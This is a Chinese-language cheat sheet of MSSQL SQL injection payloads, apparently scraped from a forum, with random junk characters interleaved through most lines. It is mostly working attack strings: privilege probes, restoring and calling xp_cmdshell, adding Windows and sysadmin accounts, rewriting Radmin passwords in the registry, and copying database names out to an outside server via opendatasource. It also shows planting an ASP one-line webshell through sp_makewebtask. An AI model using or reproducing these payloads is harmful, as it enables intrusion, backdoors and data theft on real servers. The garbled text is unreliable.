//看看是什么权限的1 V5 q n1 G" `1 F) v/ B
and 1=(Select IS_MEMBER('db_owner'))
5 m5 P7 g8 m: u8 R& @And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
4 O7 D* w. Q- r/ G4 `# \7 a" r: t: i! S: j: n; ]2 h7 W
//检测是否有读取某数据库的权限6 y% K3 m7 o7 Y6 n0 |& m5 W6 P
and 1= (Select HAS_DBACCESS('master'))' x5 u% Z, }7 ?" |; T: j
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
, Q+ F, }5 s% j8 @( ]. Q( L+ v% q( }( c
, @$ I3 e% ~5 Q; D4 j7 u, b数字类型
- s9 }- H# |, V' k5 b# k V. B- W: Hand char(124)%2Buser%2Bchar(124)=02 F2 b5 f! U( _9 X6 \$ P' X0 ]
) w8 f4 B6 { K
字符类型
4 K1 \* R& w2 }1 a7 t3 S- F' and char(124)%2Buser%2Bchar(124)=0 and ''='+ ]7 F& X* I, x& `$ I2 i1 ]
: z/ v) w- u1 h5 h \% P0 n2 f
搜索类型
( W1 H5 u9 s G! [# S' and char(124)%2Buser%2Bchar(124)=0 and '%'='. V, p/ [- L5 A7 q2 E8 _. E
+ U2 P* |, B7 B4 ^ o5 e
爆用户名
" i" Q7 Y7 \' B9 gand user>0
( \; t3 |1 }+ C' and user>0 and ''='
q- a# y' W7 f: O5 K# {/ J
1 H) \1 v- @! n检测是否为SA权限
9 J& O8 Z8 W1 I$ j" G, zand 1=(select IS_SRVROLEMEMBER('sysadmin'));--- W8 L- i2 ]2 s# ?0 d1 h8 X" V- E
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --9 n" O& @) H! C3 j- J) [' {
# I- l% c+ O& U2 c检测是不是MSSQL数据库/ q. J4 Z |9 m- Z; F+ D( {& \
and exists (select * from sysobjects);--
2 i) I( L; l- |5 F: L
9 ?( c5 O3 F- J0 |4 b8 K6 B8 |# k检测是否支持多行% K1 X* B1 e) C- ]
;declare @d int;--6 l7 W9 T) v1 ?4 ?& F. y2 E
7 `; Z3 q2 T9 E8 e6 C7 n, f
恢复 xp_cmdshell4 E5 Z/ C2 ?/ a4 j% J
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--& J- B3 A* v* {: a# S
7 a1 F) O: W# N) _
. [0 D- c5 o9 `0 q4 W/ \8 `
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')! O/ v& F2 R" @
) C* K) F) H; W. J4 i T0 D8 l//-----------------------" [, s6 k- O2 e7 ^9 N) b
// 执行命令2 a& r8 i' C6 X( Z0 _5 n7 I
//-----------------------
/ _+ S7 c7 c# a首先开启沙盘模式:
0 V7 F8 F+ }9 N Z" Cexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1! o' d# S7 C4 Y2 {: f9 {. t9 a
, {4 B d2 _" v. q; S
然后利用jet.oledb执行系统命令
8 e$ }2 K; f( z1 jselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
+ W5 s$ y4 n" g; f) u' t
! w0 I$ d2 B) F8 U+ p I+ j$ t: D8 J执行命令/ R9 K' z; C: s. ?* @
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
" D0 ?/ n- T. h V6 r
8 p0 |( A$ Z T4 C4 E- O1 T$ C; mEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'; k2 Z$ u4 `$ T% r `
7 V$ m5 L) ^; L; V1 a$ S2 W5 ^$ y! }
判断xp_cmdshell扩展存储过程是否存在:; _0 {+ g4 }5 |2 ^+ S
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')1 C% n* {1 F0 y0 B; @9 Y7 I/ s
0 T* }% X* T9 k& j. P
写注册表
7 ^% H% n7 U G! Fexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
2 J c9 T! \# h7 Q. A, N3 j# ^# [) r, v5 n) t% R: P! R
REG_SZ
1 m) \" A+ G# w& e- r5 x5 F- S. f/ I/ H' S1 k" [4 d/ T
读注册表5 e* E3 B, E& }! R$ X3 M
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
- A s; x* M- |) `+ C4 \# a8 d/ ]6 m6 A; B+ e
读取目录内容
, V6 Y5 y) [; Q7 fexec master..xp_dirtree 'c:\winnt\system32\',1,1
+ E9 v6 \3 s7 ]4 K/ `/ E4 Y5 m( C1 T
8 b. _! y3 B( a1 c* N, X/ h* t% B/ U
数据库备份
1 ?6 F2 G0 H4 jbackup database pubs to disk = 'c:\123.bak'
) s" s+ Y! x- m3 p, K6 A
: S7 n) u0 e8 m1 G% y, e8 r//爆出长度
5 y* Q" M% L9 T0 C9 {; M5 y, b. O& rAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--$ A' U% z+ a" d5 E P5 @
/ c1 y" T' J q+ j$ W$ v
& d0 p; l! ]3 u! p5 f
0 Q+ X" q& G1 V% `. @更改sa口令方法:用sql综合利用工具连接后,执行命令:
* K* H! A$ J$ m5 A: j8 Z6 gexec sp_password NULL,'新密码','sa'
, o7 F- k0 S4 V0 i* s$ S+ f) r8 C( J
1 k4 n9 Y% f% I ]; ^0 r% u添加和删除一个SA权限的用户test:. {' B7 Z/ r% L7 R
exec master.dbo.sp_addlogin test,9530772
! u5 f; v: D1 b0 `- {exec master.dbo.sp_addsrvrolemember test,sysadmin
N8 h8 p: j2 m# u" I. M
/ D6 M% Z8 c1 u& `删除扩展存储过过程xp_cmdshell的语句:$ ^ r% \+ T) T' }* B) \3 u- Y
exec sp_dropextendedproc 'xp_cmdshell'" P& _- A4 y4 M; y& j
1 Y+ w, r; L; O( Y+ D# C6 t添加扩展存储过过程
- |* e6 c4 ~+ G- PEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'. m. d& C4 W/ @6 p3 l
GRANT exec On xp_proxiedadata TO public7 m7 l8 B% P4 V) T+ z
( h$ k6 ]2 @: U8 H3 x% c; s& D5 H! n% z$ L+ M: Q
停掉或激活某个服务。0 z B8 z/ s3 q3 `
w) j6 }* M) S4 z9 P
exec master..xp_servicecontrol 'stop','schedule'
* X( t0 p$ x7 T4 O7 a2 }( ]exec master..xp_servicecontrol 'start','schedule'! L+ N! T# q% _* y5 Y- I
f: @- J7 M, g* _) r+ udbo.xp_subdirs
& r$ z7 V! ?/ l) X2 D# B7 I& V) m K3 y) d8 X
只列某个目录下的子目录。
- f/ ~, @ i: d7 Q' M7 L& G0 I. f6 Gxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'9 }9 x J- m- ~1 f: D5 S- M' Y
) K: I$ \( ]2 X, g5 y# y
dbo.xp_makecab
7 y+ W: h; p' D7 B% A# D3 J8 `9 B9 c; ]( ~* s/ h
将目标多个档案压缩到某个目标档案之内。* I$ E! c4 l. \5 P5 t
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。! A; ?5 f7 B1 Z. P0 P x
. B/ i4 d, c% v# k) _9 odbo.xp_makecab; ]: O; F3 I5 M5 ]/ B+ w, w
'c:\test.cab','mszip',1,0 f+ o( L" E; i. |8 w( d
'C:\Inetpub\wwwroot\SQLInject\login.asp',
8 S' j8 _( Y+ a6 U: {'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
8 s% W& z1 g9 ] e# G& u* L6 s$ E
# L1 F7 V o. _ W, Axp_terminate_process
& H2 Y) g' C) _9 d
" a4 i I$ { m/ q0 U' r5 Y停掉某个执行中的程序,但赋予的参数是 Process ID。
3 ?5 R& t& i' d0 u$ W j) u1 _- W利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
4 Z3 {+ R. \5 J; Z
. ]1 P% o$ S( U! v% l. X; Yxp_terminate_process 2484
* U# Z$ m$ h0 v& p9 J* T* D3 `. B" L: c% [
xp_unpackcab7 U3 Q0 h/ Q- _# ^. N, E! h. M( {
0 W% a2 {3 v& n8 u- [) j
解开压缩档。
# q8 F# _- Y# [: d. q0 h1 Q3 u* J i# h( H
xp_unpackcab 'c:\test.cab','c:\temp',1; g) e, H' z! E8 }. Z6 S* ~
3 `7 _, i" x6 G* H5 E" F; l& J, ^4 f& V! ~0 x! V9 K4 T/ N" l
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
2 {& `8 {0 D9 n" G0 \* [
! ?6 X8 M& a8 jcreate database lcx;# p. h8 g$ h+ }( _
Create TABLE ku(name nvarchar(256) null);
8 _% b) T- \" G) m8 X) UCreate TABLE biao(id int NULL,name nvarchar(256) null);; M# H7 G& y* G0 q
1 S/ l' F! Q$ ?
//得到数据库名" d6 S/ S3 B( a8 M3 N. {5 c
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
8 _. X4 L+ l9 v( Q% Z
8 C0 z8 R: O5 x# K X3 |* s- q$ \
! n8 a. g% [6 O//在Master中创建表,看看权限怎样; J) y1 J( q- N# Q' ^
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
5 F z; V' ~; C! _: F. J
8 F5 p2 r# k9 M0 y5 T. X9 k3 E用 sp_makewebtask直接在web目录里写入一句话马:, J0 H* o" }5 t( l
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
& U7 r4 Y% s8 y0 _. P/ F) C4 i+ I( H
//更新表内容3 B s3 Z/ c" {' J) ^* z d
Update films SET kind = 'Dramatic' Where id = 1238 J# J* N0 z5 W x# W7 c& R$ x
r+ i- r- J% u. l u- J; g
//删除内容 S9 ]0 ]* @8 {7 @# w' i* B
delete from table_name where Stockid = 3 |